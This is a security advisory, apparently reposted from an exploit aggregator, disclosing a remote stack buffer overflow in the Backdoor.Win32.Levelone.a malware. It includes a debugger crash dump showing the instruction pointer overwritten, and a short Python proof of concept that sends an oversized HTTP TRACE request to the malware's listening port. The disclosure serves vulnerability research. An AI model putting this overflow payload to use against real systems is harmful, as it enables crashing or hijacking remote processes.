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## https://sploitus.com/exploit?id=PACKETSTORM:160870
Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/6a2d09c4527cf222e4e2571b074fcc0c.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Levelone.a  
Vulnerability: Remote Stack Buffer Overflow   
Description: The malware listens on Port 1500, sending a specially crafted HTTP TRACE request causes a buffer overflow and overwrites EIP with our payload. If testing you need delete the executable in order to run the malware again, c:\>del \Windows\SysWOW64\dllvector.exe  
Packed with UPX so just upx -d to unpack.  
  
Type: PE32  
MD5: 6a2d09c4527cf222e4e2571b074fcc0c  
Vuln ID: MVID-2021-0020  
Dropped files: dllvector.exe  
Network Access: Remote  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 01/10/2021  
  
Memory Dump:  
  
EAX : 000A139C  
EBX : 0019FF70  
ECX : 0040109A dllvector.0040109A  
EDX : 773E9D70 ntdll.773E9D70  
EBP : 000A13A4  
ESP : 000A1380  
ESI : FFFFFFFF  
EDI : 0040801C dllvector.0040801C  
EIP : 41414141  
  
  
41414141 ?? ???  
  
EXCEPTION_RECORD: 0019f7e8 -- (.exr 0x19f7e8)  
ExceptionAddress: 41414141  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
  
PROCESS_NAME: dllvector.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
+cbf7340  
41414141 ?? ???  
  
FAILED_INSTRUCTION_ADDRESS:   
+cbf7340  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0019f838 -- (.cxr 0x19f838)  
eax=0040b77e ebx=0040513c ecx=cbc27c7e edx=0019fbcc esi=0000663e edi=00006642  
eip=41414141 esp=0019fc98 ebp=0019fcbc iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
41414141 ?? ???  
Resetting default scope  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=1500  
JUNK="A"*7740  
JUNK2="A"*7822  
PAYLOAD="TRACE / "+JUNK+"HTTP/1."+JUNK+"\r\n"+MALWARE_HOST+"\r\nCookie: "+JUNK2+"\r\n\r\n"  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
s.send(PAYLOAD)  
s.close()  
  
print("Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow")  
print("MD5: 6a2d09c4527cf222e4e2571b074fcc0c")  
print("By Malvuln")  
  
  
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